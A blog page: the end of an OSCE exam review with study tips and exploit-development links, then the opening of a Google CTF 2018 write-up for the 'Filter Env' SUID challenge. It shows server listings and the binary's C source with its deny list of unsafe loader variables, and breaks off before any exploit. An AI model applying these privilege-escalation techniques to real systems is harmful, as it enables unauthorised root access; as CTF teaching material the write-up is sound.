<p>I’m honestly at a loss for words. This exam was very challenging and taught me a lot of new skills and techniques that I actually utilize day to day on my red team engagements. Sure, this course is more exploit development focused but it still teaches critical thinking and technical skills that can be utilized at your day to day job. I sincerely want to thank OffSec for this amazing experience and opportunity!</p>
<h2 id="tips--recommendations">Tips & Recommendations</h2>
<p>I know that many of you who will be reading this post will ask for tips/recommendations on either preparing to take the OSCE or on how/what to do during the exam. Well not to worry - in this section I will break down and include a lot of the materials I used to prepare for the OSCE as well as some tips/tricks to use for the exam.</p>
<h3 id="prerequisites">Prerequisites:</h3>
<p>In the CTP course, OffSec states that you need to understand the following fundamentals to take the course:</p>
<blockquote>
<p>Cracking the Perimeter is an advanced course and requires prior knowledge of Windows exploitation techniques. You should be comfortable in OllyDbg and understand concepts such as shellcode encoding, use of the Metasploit Framework, and Linux at large.</p>
</blockquote>
<p>Honestly speaking, this is very broad and there are quite a few more skills that you need to have to pass this course. I suggest taking a look at the <a href="https://www.offensive-security.com/documentation/cracking-the-perimeter-syllabus.pdf">full syallbus</a> to get a better idea of what you need to know.</p>
<p>These skills are actually tested when you register for the CTP course. You will be provided a link to a web application and will need to pass a two stage registration challenge to even complete the registration. If for any reason you are having trouble completing the challenge, then you need to take a step back and go learn some more basics because if you can’t pass the registration challenge then you are not ready to attempt the course, nonetheless the OSCE exam.</p>
<p>If you are somewhat unfamiliar with x86 assembly, shellcoding, web application vulnerabilities, and basic exploitation, then here are some links to help you learn that required material:</p>
<ul>
<li>x86 Assembly Basics
<ul>
<li><a href="http://opensecuritytraining.info/IntroX86.html">Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration</a></li>
<li><a href="https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441">Hacking: The Art of Exploitation, 2nd Edition</a></li>
<li><a href="https://cs.lmu.edu/~ray/notes/nasmtutorial/">NASM Tutorial</a></li>
</ul>
</li>
<li>Exploitation Basics
<ul>
<li><a href="https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/">Exploit writing tutorial part 1 : Stack Based Overflows</a></li>
<li><a href="https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/">Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode</a></li>
<li><a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">Exploit writing tutorial part 3 : SEH Based Exploits</a></li>
<li><a href="http://opensecuritytraining.info/Exploits1.html">Introduction To Software Exploits</a></li>
</ul>
</li>
<li>Shellcoding Basics
<ul>
<li><a href="https://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X">The Shellcoder’s Handbook: Discovering and Exploiting Security Holes</a></li>
<li><a href="https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/">Exploit writing tutorial part 9 : Introduction to Win32 shellcoding</a></li>
</ul>
</li>
</ul>
<p>I highly suggest that you complete all of the material above before attempting to register for the CTP/OSCE, trust me - you will thank me later if you do!</p>
<h3 id="practice">Practice:</h3>
<p>Now that you have a fundamental understanding of the basics, you need to practice… a lot! If you follow the material above, then you should be able to pass the registration challenge and start the CTP course. After the course, I suggest you take the time to read and study additional material before attempting the OSCE exam.</p>
<p>The following materials below will help you practice and expand your skills.</p>
<ul>
<li>Practice Binaries and Exploits
<ul>
<li><a href="https://www.exploit-db.com/exploits/17527">Solar FTP Server 2.1.1 - PASV Buffer Overflow</a></li>
<li><a href="https://www.exploit-db.com/exploits/33453/">Easy File Management Web Server 5.3 - Remote Stack Buffer Overflow</a></li>
<li><a href="https://www.exploit-db.com/exploits/33538/">Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow</a></li>
<li><a href="https://www.exploit-db.com/exploits/27747/">freeFTPd 1.0.10 - ‘PASS’ Remote Buffer Overflow (SEH)</a></li>
<li><a href="https://www.exploit-db.com/exploits/11872/">KenWard’s Zipper 1.400 - Local Buffer Overflow (2)</a></li>
<li><a href="https://www.exploit-db.com/exploits/11764/">QuickZip 4.60.019 (Windows XP SP3) - Local Stack Buffer Overflow</a></li>
<li><a href="https://github.com/stephenbradshaw/vulnserver">All Vulnserver Vulnerabilities</a></li>
</ul>
</li>
<li>Study Materials & Guides
<ul>
<li><a href="https://blog.kowalczyk.info/articles/pefileformat.html">Portable Executable File Format</a></li>
<li><a href="https://tech-zealots.com/malware-analysis/pe-portable-executable-structure-malware-analysis-part-2/">Understanding PE Structure, The Layman’s Way – Malware Analysis Part 2</a></li>
<li><a href="https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/">Art of Anti Detection 2 – PE Backdoor Manufacturing</a></li>
<li><a href="https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a">CVV #1: Local File Inclusion</a></li>
<li><a href="https://www.youtube.com/watch?v=K0g-twyhmQ4&t=16s">Assembly Primer For Hackers: Part 1-4</a></li>
<li><a href="https://buffered.io/posts/jumping-with-bad-chars/">Jumping with Bad Chars</a></li>
<li><a href="https://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/">QuickZip Stack BOF 0day: A box of Chocolates</a></li>
<li><a href="https://www.offensive-security.com/vulndev/quickzip-stack-bof-a-box-of-chocolates-part-2/">QuickZip Stack BOF : A box of Chocolates – Part 2</a></li>
<li><a href="https://www.fuzzysecurity.com/tutorials.html">FuzzySecurity - Windows Exploit Development Tutorial Series</a></li>
<li><a href="https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html">Basics of Windows Shellcode Writing</a></li>
<li><a href="http://www.gosecure.it/blog/art/452/sec/create-a-custom-shellcode-using-system-function/">Create a custom shellcode using System() function</a></li>
<li><a href="https://deceiveyour.team/2018/10/15/vulnserver-kstet-ws2_32-recv-function-re-use/">Vulnserver KSTET WS2_32 Recv Function Re-Use</a></li>
<li><a href="https://modexp.wordpress.com/2017/06/07/x86-trix-one/">Shellcode: x86 Optimizations - Part 1</a></li>
</ul>
</li>
</ul>
<p>This might seem like a ton of material at first, but do know that these topics will overlap and you will have a better understanding of each after the course. Don’t expect to know or learn this in one week! It will take you at least 2-3 months after your OSCP to be in a good position to go after your OSCE.</p>
<h3 id="exam-tips">Exam Tips:</h3>
<p>As with everything, there are always certain things that you should know and be doing during the OSCE Exam, these following tips should help you stay on focus and to stray away from rabbit holes.</p>
<ol>
<li>Read the objectives on the OSCE exam slowly, and VERY carefully.</li>
<li>Pay attention to all the little details in the CTP course, the answers to parts of the exam are in there!</li>
<li>Pay attention to all your registers in the debugger. What do they store, where do they point, etc.</li>
<li>If you’re ever doing any calculations on an x86 stack such as aligning pointers, make sure that the calculations are divisible by 4, otherwise you’ll have stack alignment issues!</li>
<li>Learn some hexadecimal arithmetic. The OSCE forum has a good post explaining it!</li>
<li>Access Violation after your shellcode? Check to make sure you didn’t overwrite any important data in your registers or on the stack!</li>
<li>Sometimes a direct approach isn’t feasible. Can you chain attacks to get the final result?</li>
<li>Take frequent breaks. Opt for 15 minute break every 2 hours.</li>
<li>Eat and drink! Make time for Lunch, and Dinner. Your brain needs food to function.</li>
<li>Organize your notes, take screenshots, and document everything!</li>
<li>You have 48 hours for the exam. Make sure you sleep at least 8 hours. There’s plenty of time to finish!</li>
<li>Don’t give up to easily, and most importantly… “<strong>Try Harder!</strong>”.</li>
</ol>Jack Halonjacek.halon@gmail.comOn August 22, 2019 I received yet another one of the most desired emails by aspiring Offensive Security enthusiasts and professionals…Google CTF (2018): Beginners Quest - PWN Solutions (2/2)2019-03-01T00:00:00+00:002019-03-01T00:00:00+00:00https://jhalon.github.io/2018-google-ctf-beginners-pwn-solutions-2<p>In my previous post “<a href="https://jhalon.github.io/2018-google-ctf-beginners-pwn-solutions-1/">Google CTF (2018): Beginners Quest - PWN Solutions (1/2)</a>”, we covered the first set of PWN solutions for the Beginners Quest, which touched on topics such as code injection, reverse engineering, <a href="https://www.owasp.org/index.php/Buffer_Overflow">buffer overflows</a>, and <a href="https://www.owasp.org/index.php/Format_string_attack">format string exploits</a>.</p>
<p>In this post, we will continue our journey into the world of pwnage and exploitation. The final set of PWN solutions will cover topics such as <a href="https://en.wikipedia.org/wiki/Race_condition">race conditions</a>, <a href="https://cwe.mitre.org/data/definitions/125.html">out-of-bound reads</a>, <a href="https://cwe.mitre.org/data/definitions/123.html">write-what-where</a> conditions, and of course more buffer overflows.</p>
<p>Now, before I delve too deep into these topics and solutions I need to put out a fair warning. These challenges were meant for beginners, and truthfully they’re pretty easy once you have a decent understanding of buffer overflows, exploitation, and code review, especially when you know what’s going on in the application. The only issue I encountered with this part of the solutions is that you really needed to spend a ton of time Googling and learning about Linux internals, shared libraries, memory offsets and more.</p>
<p>If you’re unfamiliar with what I mentioned above, then I suggest you go look at the resources I shared in my previous posts to learn about these topics. As always, I’ll try to explain the best I can and provide links to external resources, but I highly suggest some previous experience and knowledge in exploitation before delving deep into these solutions.</p>
<p>With that being said, let’s cut to the chase and dive right in!</p>
<h2 id="filter-env">Filter Env</h2>
<p align="center"><a href="/images/gctf18-pwn2-1.png"><img src="/images/gctf18-pwn2-1.png" /></a></p>
<p>After reading the challenge description we learn that from our previous exploit we found the credentials for the Smartfridge2000, but we aren’t able to read the file, only the root user can. We also learn that there is a weird <a href="https://www.linux.com/blog/what-suid-and-how-set-suid-linuxunix">SUID</a> binary that looks like we can exploit, so we will do just that!</p>
<p>First things first, let’s connect to the <code class="language-plaintext highlighter-rouge">env.ctfcompetition.com</code> server on port <code class="language-plaintext highlighter-rouge">1337</code> via netcat to see what we have to work with.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span>nc env.ctfcompetition.com 1337
<span class="go">ls -al
total 76
drwxr-xr-x 21 user user 4096 Oct 24 19:10 .
drwxr-xr-x 21 user user 4096 Oct 24 19:10 ..
-rwxr-xr-x 1 nobody nogroup 0 Oct 24 19:04 .dockerenv
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 bin
drwxr-xr-x 2 nobody nogroup 4096 Apr 12 2016 boot
drwxr-xr-x 4 nobody nogroup 4096 Oct 24 19:04 dev
drwxr-xr-x 42 nobody nogroup 4096 Oct 24 19:04 etc
drwxr-xr-x 4 nobody nogroup 4096 Jun 6 2018 home
drwxr-xr-x 8 nobody nogroup 4096 Sep 13 2015 lib
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 lib64
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 media
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 mnt
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 opt
dr-xr-xr-x 111 nobody nogroup 0 Feb 9 21:41 proc
drwx------ 2 nobody nogroup 4096 Apr 17 2018 root
drwxr-xr-x 5 nobody nogroup 4096 Apr 17 2018 run
drwxr-xr-x 2 nobody nogroup 4096 Apr 27 2018 sbin
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 srv
drwxr-xr-x 2 nobody nogroup 4096 Feb 5 2016 sys
drwxrwxrwt 2 user user 40 Feb 9 21:41 tmp
drwxr-xr-x 10 nobody nogroup 4096 Apr 17 2018 usr
</span></code></pre></div></div>
<p>Nothing too interesting in the root folder, let’s see what’s in the home folders.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">cd /home
ls -la
total 16
drwxr-xr-x 4 nobody nogroup 4096 Jun 6 2018 .
drwxr-xr-x 21 user user 4096 Oct 24 19:10 ..
drwxr-xr-x 2 nobody nogroup 4096 Jun 14 2018 adminimum
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 2018 user
cd adminimum
ls -la
total 40
drwxr-xr-x 2 nobody nogroup 4096 Jun 14 2018 .
drwxr-xr-x 4 nobody nogroup 4096 Jun 6 2018 ..
-rw-r--r-- 1 nobody nogroup 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 nobody nogroup 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 nobody nogroup 655 May 16 2017 .profile
-rwsr-xr-x 1 adminimum adminimum 13648 Jun 14 2018 filterenv
-r-------- 1 adminimum adminimum 19 May 24 2018 flag
</span></code></pre></div></div>
<p>Okay, so we see that the <code class="language-plaintext highlighter-rouge">adminimum</code> user has the flag file and an interesting binary named <code class="language-plaintext highlighter-rouge">filterenv</code>. Let’s see what happens when we execute the binary.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">./filterenv
[*] waiting for new environment
test
test
test
test
test
/bin/bash: line 6: 6 Segmentation fault (core dumped) ./filterenv
</span></code></pre></div></div>
<p>Segmentation fault? Interesting, I wonder if we can exploit this to get a shell as the user to read the flag. At the same time I notice that the application is waiting for a new environment, so I’m guessing this also has something to do with <a href="https://wiki.debian.org/EnvironmentVariables">environmental variables</a>.</p>
<p>Alright, with that in mind let’s go ahead and download the attachment, and extract the files. We should then be presented with the following C code.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">filterenv.c
</span><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span>file filterenv.c
<span class="go">filterenv.c: C source, ASCII text
</span></code></pre></div></div>
<p>Upon opening the source code, we are presented with the following.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
</span>
<span class="k">extern</span> <span class="kt">char</span> <span class="o">**</span><span class="n">environ</span><span class="p">;</span>
<span class="k">static</span> <span class="kt">char</span> <span class="o">*</span><span class="n">unsafe</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">"GCONV_PATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"GETCONF_DIR</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"HOSTALIASES</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_AOUT_LIBRARY_PATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_AOUT_PRELOAD</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_AUDIT</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_DEBUG</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_DEBUG_OUTPUT</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_DYNAMIC_WEAK</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_LIBRARY_PATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_ORIGIN_PATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_PRELOAD</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_PROFILE</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_SHOW_AUXV</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LD_USE_LOAD_BIAS</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LOCALDOMAIN</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"LOCPATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"MALLOC_TRACE</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"NIS_PATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"NLSPATH</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"RESOLV_HOST_CONF</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"RES_OPTIONS</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"TMPDIR</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="s">"TZDIR</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
<span class="nb">NULL</span><span class="p">,</span>
<span class="p">};</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">lol</span><span class="p">(</span><span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">b</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">a</span> <span class="o">==</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">b</span><span class="p">)</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">a</span> <span class="o">></span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">b</span><span class="p">)</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">else</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">shuffle</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">n</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">q</span><span class="p">;</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">q</span> <span class="o">=</span> <span class="n">environ</span><span class="p">;</span> <span class="o">*</span><span class="n">q</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">q</span><span class="o">++</span><span class="p">)</span>
<span class="n">n</span><span class="o">++</span><span class="p">;</span>
<span class="n">qsort</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">),</span> <span class="n">lol</span><span class="p">);</span>
<span class="p">}</span>
<span class="cm">/* reset unsafe variables */</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">filter_env</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">p</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">unsafe</span><span class="p">;</span> <span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">getenv</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">setenv</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"setenv"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/* just be safe, prevent heap spraying attacks */</span>
<span class="n">shuffle</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">char</span> <span class="o">**</span><span class="nf">readenv</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">env</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">line</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="n">n</span><span class="p">;</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">fgets</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">line</span><span class="p">),</span> <span class="n">stdin</span><span class="p">)</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="n">len</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">line</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">++</span><span class="n">n</span> <span class="o">></span> <span class="mi">32</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"can't allocate that much variables"</span><span class="p">);</span>
<span class="n">env</span> <span class="o">=</span> <span class="n">realloc</span><span class="p">(</span><span class="n">env</span><span class="p">,</span> <span class="n">n</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">env</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"realloc"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">></span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">line</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\n'</span><span class="p">)</span>
<span class="n">line</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x00'</span><span class="p">;</span>
<span class="n">env</span><span class="p">[</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">strdup</span><span class="p">(</span><span class="n">line</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">env</span><span class="p">[</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"strdup"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">env</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"no variable set</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="n">env</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">set_new_env</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">env</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[*] waiting for new environment</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">env</span> <span class="o">=</span> <span class="n">readenv</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">clearenv</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"clearenv"</span><span class="p">);</span>
<span class="n">environ</span> <span class="o">=</span> <span class="n">env</span><span class="p">;</span>
<span class="n">filter_env</span><span class="p">();</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">arg</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"/usr/bin/id"</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>
<span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">setbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span> <span class="n">geteuid</span><span class="p">())</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"setreuid"</span><span class="p">);</span>
<span class="n">set_new_env</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">execvp</span><span class="p">(</span><span class="n">arg</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">arg</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"execvp"</span><span class="p">);</span>
<span class="cm">/* never reached */</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Looking into the main function of the application we see that it does a few things. It set’s the real and effective user ID’s to <code class="language-plaintext highlighter-rouge">root</code> via <a href="https://linux.die.net/man/2/setreuid">setreuid</a> and then it calls the <code class="language-plaintext highlighter-rouge">set_new_env()</code> function.</p>
<p>Let’s see what that function does.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">set_new_env</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">env</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[*] waiting for new environment</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">env</span> <span class="o">=</span> <span class="n">readenv</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">clearenv</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"clearenv"</span><span class="p">);</span>
<span class="n">environ</span> <span class="o">=</span> <span class="n">env</span><span class="p">;</span>
<span class="n">filter_env</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>From here the application prints out the “waiting for…” line as we’ve seen already, sets the output of the <code class="language-plaintext highlighter-rouge">readenv()</code> function to a new variable called <code class="language-plaintext highlighter-rouge">env</code>. It then clears the environment via the <code class="language-plaintext highlighter-rouge">clearenv()</code> function, sets the <code class="language-plaintext highlighter-rouge">env</code> variable to the <a href="https://en.wikipedia.org/wiki/C_standard_library">libc</a> global variable <a href="https://www.gnu.org/software/libc/manual/html_node/Environment-Access.html">environ</a>, and finally filters the environmental variables via the <code class="language-plaintext highlighter-rouge">filter_env</code> function.</p>
<p>Okay, let’s see what the <code class="language-plaintext highlighter-rouge">readenv</code> function does to get a better understanding of the application as a whole.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">char</span> <span class="o">**</span><span class="nf">readenv</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">env</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">line</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="n">n</span><span class="p">;</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">fgets</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">line</span><span class="p">),</span> <span class="n">stdin</span><span class="p">)</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="n">len</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">line</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">++</span><span class="n">n</span> <span class="o">></span> <span class="mi">32</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"can't allocate that much variables"</span><span class="p">);</span>
